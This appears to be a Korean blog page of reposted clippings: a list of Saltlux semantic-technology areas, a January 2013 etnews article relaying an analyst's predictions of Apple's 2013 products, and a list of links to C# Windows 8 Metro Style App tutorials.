● 핵심기술 : 빅데이터 처리, 분석 마이닝 기술, 시맨틱 기술
● 시맨틱 검색 : 초대용량 시맨틱 검색, 고정밀 텍스트 마이닝, 소셜 검색 및 분석
● 데이터 지능화 : 서비스 개인화, 추천, 상황인지, Geo-Semantic, 지능형 모바일 서비스
● 웹 3.0 : 시맨틱 웹, LOD, 온톨로지, 추론엔진, 소셜 미디어 분석(트랜드, 평판)



출처 : 솔트룩스

제공 : DB포탈사이트 DBguide.net

애플이 올해 출시할 5가지 혁신 제품은?

[출처] http://www.etnews.com/news/home_mobile/information/2701952_1483.html

[ 2013년 01월 05일 ]

혁신의 아이콘 애플은 올해 어떤 제품으로 세상을 놀라게 할까.

CNN머니는 투자회사 파이퍼 재프리의 애플 담당 애널리스터 진 문스터의 4일(현지시각) 보고서를 인용, 올해 애플이 내놓을 제품을 정리했다.

◇애플 라디오

신문은 지난해 10월 이후 애플 라디오에 대한 보도가 꾸준히 이어지고 있다면서 이 제품의 3월 출시를 예상했다.

광고로 운영될 애플 라디오는 아이튠스를 통해 서비스되면서 판도라의 주요 경쟁자가 될 것으로 보인다. 애플 라디오가 보도된 이후 판도라 주가가 급락세를 보이기도 했다.

◇고해상도 아이패드 미니

고해상도 레티나 디스플레이를 장착한 아이패드 미니 제품 역시 3월 선보여질 것으로 예상했다. 애플은 지난 해 3월 단 일주일만에 레티나 디스플레이를 장착한 아이패드 300만대를 판매한 바 있으며, 대만의 IT전문매체인 디지타임스는 지난해 800만∼1천만대의 아이패드 미니가 판매됐다고 보도했다.

애플은 따라서 이들 두 제품의 장점을 결합한 아이패드를 생산해 올해에도 태블릿PC시장을 주도한다는 전략을 세워놓았을 것으로 보인다.

2011년과 2012년 3월 각각 아이패드2와 레티나 장착 아이패드 출시한 점을 감안할 때 올해 3월에는 레티나 장착 아이패드 미니가 나올 가능성이 높다는 설명이다.

◇iOS7

6월에는 iOS의 차기작, iOS7을 배포할 것으로 보인다.

애플 이용자들은 유튜브와 구글 지도가 없는 iOS6에 불만을 제기했다. 특히 애플 지도는 부실한 정도가 심해 최고경영자(CEO) 팀 쿡이 직접 나서 사과했다. 이에 따라 애플은 훨씬 업그레이된 iOS7을 내놓아야 하는 부담을 안았다.

◇아이폰5S(가제)

차세대 아이폰에 대해서는 전망이 엇갈린다.

일각에서는 이르면 6월에 출시될 것으로 보고 있지만 진 문스터는 9월 가능성을 제기하고 있다. 아이폰4S와 아이폰5가 각각 2011년과 지난해 9월 공개됐기 때문이다.

신문은 아이폰5S는 디자인은 크게 변하지 않겠지만 카메라나 배터리수명 등이 개선될 것으로 예측했다.

◇애플TV

애플TV는 연말쇼핑시즌에 앞서 출시될 가능성이 높다. 그러나 정확한 시점에 대해서는 의견이 엇갈리며, 올해 출시되지 않을 것이란 전망도 있다.

최근 몇년간 애플TV가 곧 출시될 것이라는 전망이 꾸준하게 제기돼 왔다. 게다가 TV는 수익성이 상대적으로 박한 것도 문제다. 애플은 그동안 아이폰 등에서 엄청난 수익률을 자랑하고 있다.

문스터는 애플이 42∼55인치 크기의 TV를 1천500∼2천달러에 내놓을 것이라고 내다봤다. 현재 삼성전자 등이 판매 중인 유사한 크기의 TV 가격은 1천달러 정도이다.

이종민 기자 ljm@etnews.com

Metro Style App 프로그래밍 강좌 모음

[출처] http://bbunge.tistory.com/186

※ Metro Sytle App 은 Windows 8 에 추가된 새로운 운영 환경인 "Windows Runtime" 에서 동작하는
어플리케이션을 말합니다.





아래의 자료들은 C#을 이용한 Metro Style App 을 개발하는 강좌입니다.


1. TextBlock 으로 문자열 출력하기

http://cafe.naver.com/metroapp/76


2. DataContent 속성에 대하여

http://cafe.naver.com/metroapp/79


3. Button 컨트롤 사용하기

http://cafe.naver.com/metroapp/91


4. TextBox 컨트롤 사용하기

http://cafe.naver.com/metroapp/92


5. StackPanel 컨트롤 사용하기

http://cafe.naver.com/metroapp/97


6. ListBox 컨트롤 사용하기 - 기초

http://cafe.naver.com/metroapp/103


7. ListBox 컨트롤 사용하기 - 활용 <Step1>

http://cafe.naver.com/metroapp/104


8. ListBox 컨트롤 사용하기 - 활용 <Step2>

http://cafe.naver.com/metroapp/105


9. ListBox 컨트롤 사용하기 - 활용 <Step3>

http://cafe.naver.com/metroapp/106


10. 일정한 간격으로 작업을 수행하는 방법에 대하여 - Timer

http://cafe.naver.com/metroapp/107


11. 유사한 작업의 이벤트를 그룹화 하기

http://cafe.naver.com/metroapp/108


12. 페이지 이동하기

http://cafe.naver.com/metroapp/116


13. Toast를 이용한 알림 메시지 표시

http://cafe.naver.com/metroapp/131


14. ListBox 컨트롤 사용하기 - 활용 <Step4>

http://cafe.naver.com/metroapp/150


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